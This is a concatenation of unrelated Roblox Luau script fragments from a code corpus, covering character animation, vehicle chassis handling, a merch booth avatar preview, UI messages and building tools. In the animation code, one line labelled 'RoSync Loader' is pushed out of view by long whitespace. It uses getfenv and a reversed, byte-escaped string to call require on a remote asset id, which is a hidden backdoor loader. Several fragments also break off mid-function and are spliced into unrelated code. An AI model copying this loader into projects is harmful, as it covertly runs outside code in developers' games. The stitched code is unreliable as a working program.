Roblox/luau_corpus huggingface dataset:
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function onRunning(speed)
	if speed > 0.01 then
		playAnimation("walk", 0.1, Humanoid)
		if currentAnimInstance then
			setAnimationSpeed(speed / 14.5)
		end
		pose = "Running"
	else
		if emoteNames[currentAnim] == nil then
			playAnimation("idle", 0.1, Humanoid)
			pose = "Standing"
		end
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing(speed)
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / 12.0)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end

function onSwimming(speed)
	if speed > 0 then
		pose = "Running"
	else
		pose = "Standing"
	end
end

function getTool()	
	for _, kid in ipairs(Figure:GetChildren()) do
		if kid.className == "Tool" then return kid end
	end
	return nil
end

function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == "toolanim" and c.className == "StringValue" then
			return c
		end
	end
	return nil
end

function animateTool()
	
	if (toolAnim == "None") then
		playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
		return
	end

	if (toolAnim == "Slash") then
		playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
		return
	end

	if (toolAnim == "Lunge") then
		playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
		return
	end
end

function moveSit()
	RightShoulder.MaxVelocity = 0.15
	LeftShoulder.MaxVelocity = 0.15
	RightShoulder:SetDesiredAngle(3.14 /2)
	LeftShoulder:SetDesiredAngle(-3.14 /2)
	RightHip:SetDesiredAngle(3.14 /2)
	LeftHip:SetDesiredAngle(-3.14 /2)
end

local lastTick = 0

function move(time)
	local amplitude = 1
	local frequency = 1
  	local deltaTime = time - lastTick
  	lastTick = time

	local climbFudge = 0
	local setAngles = false

  	if (jumpAnimTime > 0) then
  		jumpAnimTime = jumpAnimTime - deltaTime
  	end

	if (pose == "FreeFall" and jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	elseif (pose == "Seated") then
		playAnimation("sit", 0.5, Humanoid)
		return
	elseif (pose == "Running") then
		playAnimation("walk", 0.1, Humanoid)
	elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
--[[ Last synced 4/4/2021 09:13                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--[[START]]

script.Parent:WaitForChild("Bike")
script.Parent:WaitForChild("IsOn")
script.Parent:WaitForChild("ControlsOpen")
script.Parent:WaitForChild("Values")
--[[
	Returns a character model wearing an outfit that corresponds to what the
	"player" is already wearing, with the addition of one item described by
	"itemInfo".

	If the player is already wearing something of the same category, that
	existing item is removed first.

	If no player is provided, create instead a dummy with a default look.
]]

local Players = game:GetService("Players")

local MerchBooth = script:FindFirstAncestor("MerchBooth")

local types = require(MerchBooth.types)
local generateDescriptionWithItem = require(script.Parent.generateDescriptionWithItem)

local idleAnimation = Instance.new("Animation")
idleAnimation.Name = "IdleAnimation"
idleAnimation.AnimationId = "rbxassetid://616136790"

local function generateDummyWithItem(itemInfo: types.ItemInfo, player: Player?)
	local description = generateDescriptionWithItem(player, itemInfo.assetId, itemInfo.assetType)
	local previewAvatar = Players:CreateHumanoidModelFromDescription(description, Enum.HumanoidRigType.R15)

	-- Destroys scripts to silence a client-side warning
	for _, descendant in ipairs(previewAvatar:GetDescendants()) do
		if descendant:IsA("LuaSourceContainer") then
			descendant:Destroy()
		end
	end

	local humanoid = previewAvatar:FindFirstChildOfClass("Humanoid")

	humanoid.RootPart.CFrame = CFrame.new(0, 1e5, 0)
	humanoid.RootPart.Anchored = true

	-- Not parenting the character in workspace will cause animations and layered clothing to not render properly
	previewAvatar.Parent = workspace

	humanoid:LoadAnimation(idleAnimation):Play()

	return previewAvatar
end

return generateDummyWithItem
--local freeSpaceX,freeSpaceY,freeSpaceZ = 3,3,2.8
local freeSpace = Vector3.new(3, 2.8, 3)
local box = script.Parent
local contents = box.Contents

local lidOffset = 3 

function r(num)
	return math.random(-math.abs(num * 100), math.abs(num * 100)) / 100
end

box.Base.Touched:connect(function(oldHit)
	
	local hit
	
	if oldHit:FindFirstChild("Dragging") then
		return
	end
	
	if (oldHit:FindFirstChild("Draggable") and oldHit:FindFirstChild("Pickup")) then
		hit = oldHit:Clone()
		oldHit:Destroy()
	elseif (oldHit.Parent and (oldHit.Parent:FindFirstChild("Draggable") and oldHit.Parent:FindFirstChild("Pickup"))) then
		hit = oldHit.Parent:Clone()
		oldHit.Parent:Destroy()
	else
		return
	end
	
	for _, child in next, hit:GetDescendants() do
		if child.Name == "Draggable" then
			child:Destroy()
		end
	end



	if hit:IsA("BasePart") then
		hit.Anchored = true
		hit.CanCollide = false
		local vary = freeSpace - hit.Size
	-- random x,y,z
		print(vary, "as variance")
	--hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z))
		hit.CFrame = box.PrimaryPart.CFrame * CFrame.new(math.random(-100, 100) / 100, math.random(100, 200) / 100, math.random(-100, 100) / 100)
	elseif hit:IsA("Model") then
		for _, v in next, hit:GetDescendants() do
			if v:IsA("BasePart") then
				v.Anchored = true
				v.CanCollide = false
			end
		end
		local modelSize =  hit:GetExtentsSize()
		local vary = freeSpace - modelSize
	--hit:SetPrimaryPartCFrame(box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z)))
		hit:SetPrimaryPartCFrame(box.PrimaryPart.CFrame * CFrame.new(math.random(-100, 100) / 100, math.random(100, 200) / 100, math.random(-100, 100) / 100))
	end -- end of if hit is a basepart or model
	hit.Parent = contents
	
end)
--!strict
--[=[
  @function some
  @within Dictionary

  @param dictionary {[K]: V} -- The dictionary to check.
  @param predicate (value: V, key: K, dictionary: { [K]: V }) -> any -- The predicate to check against.
  @return boolean -- Whether or not the predicate returned true for any value.

  Checks whether or not the predicate returned true for any value in the dictionary.

  ```lua
  local dictionary = { hello = "world", cat = "meow", unicorn = "rainbow" }

  local hasMeow = Some(dictionary, function(value)
    return value == "meow"
  end) -- true

  local hasDog = Some(dictionary, function(_, key)
    return key == "dog"
  end) -- false
  ```
]=]
local function some<K, V>(dictionary: { [K]: V }, predicate: (value: V, key: V, dictionary: { [K]: V }) -> any): boolean
	for key, value in pairs(dictionary) do
		if predicate(value, key, dictionary) then
			return true
		end
	end

	return false
end

return some
--[[Driver Handling]]

	--Driver Sit	
	car.DriveSeat.ChildAdded:connect(function(child)
		if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
			--Distribute Client Interface
			local p=game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			car.Body.MainPart.Anchored = false
			car.DriveSeat:SetNetworkOwner(p)
			local g=script.Parent["A-Chassis Interface"]:Clone()
			g.Parent=p.PlayerGui
		end
	end)
	
	--Driver Leave
	car.DriveSeat.ChildRemoved:connect(function(child)
		if child.Name=="SeatWeld" and child:IsA("Weld") then
			--Remove Flip Force
			if car.DriveSeat:FindFirstChild("Flip")~=nil then
				car.DriveSeat.Flip.MaxTorque = Vector3.new()
			end
			
			--Remove Wheel Force
			for i,v in pairs(car.Wheels:GetChildren()) do
				if v:FindFirstChild("#AV")~=nil then
					if v["#AV"]:IsA("BodyAngularVelocity") then
						if v["#AV"].AngularVelocity.Magnitude>0 then
							v["#AV"].AngularVelocity = Vector3.new()
							v["#AV"].MaxTorque = Vector3.new()
						end
					else
						if v["#AV"].AngularVelocity>0 then
							v["#AV"].AngularVelocity = 0
							v["#AV"].MotorMaxTorque = 0
						end
					end
				end
			end
		end
		wait(.2)
		if child.Name ~= "Rev" then
		car.Body.MainPart.Anchored = true
		end
	end)
--// All global vars will be wiped/replaced except script

return function(data)
	local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent)
	local frame = gui.Frame
	local frame2 = frame.Frame
	local msg = frame2.Message
	local ttl = frame2.Title
	
	local gIndex = data.gIndex
	local gTable = data.gTable
	
	local title = data.Title
	local message = data.Message
	local scroll = data.Scroll
	local tim = data.Time
	
	local gone = false
	
	if not data.Message or not data.Title then gTable:Destroy() end
	
	ttl.Text = title
	msg.Text = message
	ttl.TextTransparency = 1
	msg.TextTransparency = 1
	ttl.TextStrokeTransparency = 1
	msg.TextStrokeTransparency = 1
	frame.BackgroundTransparency = 1
	
	local log  = {
		Type = "Small Screen Message";
		Title = title;
		Message = message;
		Icon = "rbxassetid://7501175708";
		Time = os.date("%X");
		Function = nil;
	}

	table.insert(client.Variables.CommunicationsHistory, log) 
	service.Events.CommsPanel:Fire(log)
	
	local fadeSteps = 10
	local blurSize = 10
	local textFade = 0.1
	local strokeFade = 0.5
	local frameFade = 0.3
	
	local blurStep = blurSize/fadeSteps
	local frameStep = frameFade/fadeSteps
	local textStep = 0.1
	local strokeStep = 0.1
	
	local function fadeIn()
		gTable:Ready()
		for i = 1,fadeSteps do
			if msg.TextTransparency>textFade then
				msg.TextTransparency = msg.TextTransparency-textStep
				ttl.TextTransparency = ttl.TextTransparency-textStep
			end
			if msg.TextStrokeTransparency>strokeFade then
				msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep
				ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep
			end
			if frame.BackgroundTransparency>frameFade then
				frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep
				frame2.BackgroundTransparency = frame.BackgroundTransparency
			end
			service.Wait("Stepped")
		end
	end
	
	local function fadeOut()
		if not gone then
			gone = true
			for i = 1,fadeSteps do
				if msg.TextTransparency<1 then
					msg.TextTransparency = msg.TextTransparency+textStep
					ttl.TextTransparency = ttl.TextTransparency+textStep
				end
				if msg.TextStrokeTransparency<1 then
					msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep
					ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep
				end
				if frame.BackgroundTransparency<1 then
					frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep
					frame2.BackgroundTransparency = frame.BackgroundTransparency
				end
				service.Wait("Stepped")
			end
			service.UnWrap(gui):Destroy()
		end
	end
	
	gTable.CustomDestroy = function()
		fadeOut()
	end
	
	fadeIn()
	if not tim then
		local _,time = message:gsub(" ","")
		time = math.clamp(time/2,4,11)+1
		wait(time)
	else
		wait(tim)
	end
	if not gone then
		fadeOut()
	end
end
--	RightShoulder.MaxVelocity = 0.025
--	LeftShoulder.MaxVelocity = 0.025
--	RightShoulder.DesiredAngle = (math.pi / 2)
--	LeftShoulder.DesiredAngle = -(math.pi / 2)
--	RightHip.DesiredAngle = 1
--	LeftHip.DesiredAngle = -1
end

function Move(Time)
	local LimbAmplitude
	local LimbFrequency
	local NeckAmplitude
	local NeckFrequency
	local NeckDesiredAngle
  
	if (Pose == "Jumping") then
		MoveJump()
		return
	elseif (Pose == "FreeFall") then
		MoveFreeFall()
		return
	elseif (Pose == "Seated") then
		MoveSit()
		return
	end

	local ClimbFudge = 0
	
	if (Pose == "Running") then
--Rears--

for _,v in pairs({
	

	
	
}) do

	local open1=false
	for _,a in pairs(v.Parts:GetChildren()) do
		if a.Name=="Handle" then
			local CL = Instance.new("ClickDetector",a)
			CL.MaxActivationDistance = 8.5
			CL.MouseClick:connect(function()
				open1 = not open1
				if open1 then
					a.DoorOpen:Play()
					wait(0.2)
					a.Parent.Parent.sHinge1.W.DesiredAngle = 1.5
					a.Parent.Parent.sHinge2.W.DesiredAngle = -3
					a.Parent.Parent.sHinge3.W.DesiredAngle = -1.5
					a.Parent.Parent.sHinge4.W.DesiredAngle = 3
				else
					a.Parent.Parent.sHinge1.W.DesiredAngle = 0
					a.Parent.Parent.sHinge2.W.DesiredAngle = 0
					a.Parent.Parent.sHinge3.W.DesiredAngle = 0
					a.Parent.Parent.sHinge4.W.DesiredAngle = 0
					a.DoorClose:Play()
					wait(1.1)
					a.Parent.Parent.oHinge1.W.DesiredAngle = 0
					a.Parent.Parent.oHinge2.W.DesiredAngle = 0
				end
			end)
		end
	end
end
--		print(#labelAs, #labelBs)
		
		local start = tick()
		
		while wait() do
			local alpha = math.min((tick() - start)/speed, 1)
			
			for index,labelA in pairs(labelAs) do
				labelA.Position = UDim2.new(1*index + alpha, 0, 0, 0)
			end
			
			labelM.Position = UDim2.new(alpha, 0, 0, 0)
			
			for index,labelB in pairs(labelBs) do
				labelB.Position = UDim2.new(-1*index + alpha, 0, 0, 0)
			end
		
			if alpha >= 1 then
				break
			end
		end
	end
end
--UpdateTime()
while true do
UpdateTime()
game.Lighting.TimeOfDay = hour.Value..":"..min.Value..":"..sec.Value
script.Parent.Name = hour.Value.." : "..min.Value.." : "..sec.Value.. " Day " ..day.Value.. " Month " ..month.Value.. " Year " ..year.Value
wait(1)
end
--// Functions
function MakeFakeArms()
	Arms = Instance.new("Model")
	Arms.Name = "Arms"
	Arms.Parent = L_5_

	local L_171_ = Instance.new("Humanoid")
	L_171_.MaxHealth = 0
	L_171_.Health = 0
	L_171_.Name = ""
	L_171_.Parent = Arms
		
	if L_3_:FindFirstChild("Shirt") then
		local L_176_ = L_3_:FindFirstChild("Shirt"):clone()
		L_176_.Parent = Arms
	end
	
	local L_172_ = L_3_:FindFirstChild("Right Arm"):clone()
	for L_177_forvar1, L_178_forvar2 in pairs(L_172_:GetChildren()) do
		if L_178_forvar2:IsA('Motor6D') then
			L_178_forvar2:Destroy()
		end
	end
	L_172_.Name = "Right Arm"
	L_172_.FormFactor = "Custom"
	L_172_.Size = Vector3.new(0.8, 2.5, 0.8)
	L_172_.Transparency = 0.0
	
	local L_173_ = Instance.new("Motor6D")
	L_173_.Part0 = L_172_
	L_173_.Part1 = L_3_:FindFirstChild("Right Arm")
	L_173_.C0 = CFrame.new()
	L_173_.C1 = CFrame.new()
	L_173_.Parent = L_172_	
	L_172_.Parent = Arms
		
	local L_174_ = L_3_:FindFirstChild("Left Arm"):clone()
	L_174_.Name = "Left Arm"
	L_174_.FormFactor = "Custom"
	L_174_.Size = Vector3.new(0.8, 2.5, 0.8)
	L_174_.Transparency = 0.0	
	
	local L_175_ = Instance.new("Motor6D")
	L_175_.Part0 = L_174_
	L_175_.Part1 = L_3_:FindFirstChild("Left Arm")
	L_175_.C0 = CFrame.new()
	L_175_.C1 = CFrame.new()
	L_175_.Parent = L_174_	
	L_174_.Parent = Arms
end

function RemoveArmModel()
	if Arms then
		Arms:Destroy()
		Arms = nil
	end
end

local L_134_

function CreateShell()
	L_134_ = time()
	local L_179_ = L_1_.Shell:clone()
	if L_179_:FindFirstChild('Shell') then
		L_179_.Shell:Destroy()
	end
	L_179_.CFrame =  L_1_.Chamber.CFrame
	L_179_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)
	--shell.RotVelocity = Vector3.new(-10,40,30)
	L_179_.Parent = L_100_
	L_179_.CanCollide = false
	game:GetService("Debris"):addItem(L_179_, 1)
	delay(0.5, function()
		if L_19_:FindFirstChild('ShellCasing') then
			local L_180_ = L_19_.ShellCasing:clone()
			L_180_.Parent = L_2_.PlayerGui
			L_180_:Play()
			game:GetService('Debris'):AddItem(L_180_, L_180_.TimeLength)
		end
	end)
end
--[[Initialize]]

	script.Parent:WaitForChild("A-Chassis Interface")
	script.Parent:WaitForChild("Plugins")
	script.Parent:WaitForChild("README")
	
	local car=script.Parent.Parent
	local _Tune=require(script.Parent)

	wait(_Tune.LoadDelay)

	--Update Checker
	
	if _Tune.AutoUpdate then
		local newModel 
		local s,m = pcall(function() newModel = game:GetService("InsertService"):LoadAsset(5181235975) end)
		if s then
			local MinorUpdate = false
			local MajorUpdate = false
			local localVersion = script.Parent["A-Chassis Interface"].Version
			local newVersion = newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Version
			if localVersion.Value < newVersion.Value or localVersion.LastMajorUpdate.Value < newVersion.LastMajorUpdate.Value then
				if localVersion.LastMajorUpdate.Value < newVersion.LastMajorUpdate.Value then
					MajorUpdate = true
				else
					MinorUpdate = true
				end
			end
			if MajorUpdate then
				print("[AC6C]: Chassis update!"
						.."\nA major update to A-Chassis 6C has been found."
						.."\nThe changes cannot be ported due to the update."
						.."\nYou are advised to update your chassis ASAP.")
			elseif MinorUpdate then
				localVersion.Value = newVersion.Value
				print("[AC6C]: Drive script update!"
					.."\nAn update to A-Chassis' Drive script has been found."
					.."\nThe updated script will take effect next time you get in."
					.."\nYou are advised to update your chassis soon.")
				script.Parent["A-Chassis Interface"].Drive:Destroy()
				newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Drive.Parent = script.Parent["A-Chassis Interface"]
			end
			newModel:Destroy()
		end
	end

	--Weight Scaling
	local weightScaling = _Tune.WeightScaling

	local Drive=car.Wheels:GetChildren()
	
	--Remove Existing Mass
	function DReduce(p)
		for i,v in pairs(p:GetChildren())do
			if v:IsA("BasePart") then
				if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end
				v.CustomPhysicalProperties = PhysicalProperties.new(
					0,
					v.CustomPhysicalProperties.Friction,
					v.CustomPhysicalProperties.Elasticity,
					v.CustomPhysicalProperties.FrictionWeight,
					v.CustomPhysicalProperties.ElasticityWeight
				)
				v.Massless = true --(LuaInt) but it's just this line
			end
			DReduce(v)
		end
	end
	DReduce(car)
-- places a brick at pos and returns the position of the brick's opposite corner
function placeBrick(cf, pos, color)
	local brick = Instance.new("Part")
	brick.BrickColor = color
	brick.CFrame = cf * CFrame.new(pos + brick.Size / 2)
	script.Parent.BrickCleanup:Clone().Parent = brick -- attach cleanup script to this brick
	brick.BrickCleanup.Disabled = false
	brick.Parent = game.Workspace
	brick:MakeJoints()
	return  brick, pos +  brick.Size
end

function buildWall(cf)

	local color = BrickColor.Random()
	local bricks = {}

	assert(wallWidth>0)
	local y = 0
	while y < wallHeight do
		local p
		local x = -wallWidth/2
		while x < wallWidth/2 do
			local brick
			brick, p = placeBrick(cf, Vector3.new(x, y, 0), color)
			x = p.x
			table.insert(bricks, brick)
			wait(brickSpeed)
		end
		y = p.y
	end

	return bricks

end


function snap(v)
	if math.abs(v.x)>math.abs(v.z) then
		if v.x>0 then
			return Vector3.new(1,0,0)
		else
			return Vector3.new(-1,0,0)
		end
	else
		if v.z>0 then
			return Vector3.new(0,0,1)
		else
			return Vector3.new(0,0,-1)
		end
	end
end


Tool.Enabled = true
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character:FindFirstChildOfClass("Humanoid")
	if not humanoid then
		return 
	end

	local targetPos = MouseLoc:InvokeClient(game:GetService("Players"):GetPlayerFromCharacter(character))
	local lookAt = snap( (targetPos - character.Head.Position).unit )
	local cf = CFrame.new(targetPos, targetPos + lookAt)

	Tool.Handle.BuildSound:Play()

	buildWall(cf)

	wait(5)

	Tool.Enabled = true
end

Tool.Activated:Connect(onActivated)
--[[
	Set the current node's status to Failure and adds a message to its list of
	errors.
]]
function TestSession:setError(message)
	assert(#self.nodeStack > 0, "Attempting to set error status on empty stack")
	local last = self.nodeStack[#self.nodeStack]
	last.status = TestEnum.TestStatus.Failure
	table.insert(last.errors, message)
end
--This is just some simple server script that moves the object around every frame
--The kinematics module handles the rest

game["Run Service"].Heartbeat:Connect(function(deltaTime)
	
	part.Position = startPos + pos
	
	pos += vel * deltaTime
	
	if (pos.x > boxSize) then
		vel = Vector3.new( -math.abs(vel.x),0,vel.z)
	end
	if (pos.x < -boxSize) then
		vel = Vector3.new( math.abs(vel.x),0,vel.z)
	end
	if (pos.z > boxSize) then
		vel = Vector3.new(vel.x,0, -math.abs(vel.z))
	end
	if (pos.z < -boxSize) then
		vel = Vector3.new(vel.x,0, math.abs(vel.z))
	end
	
	
end)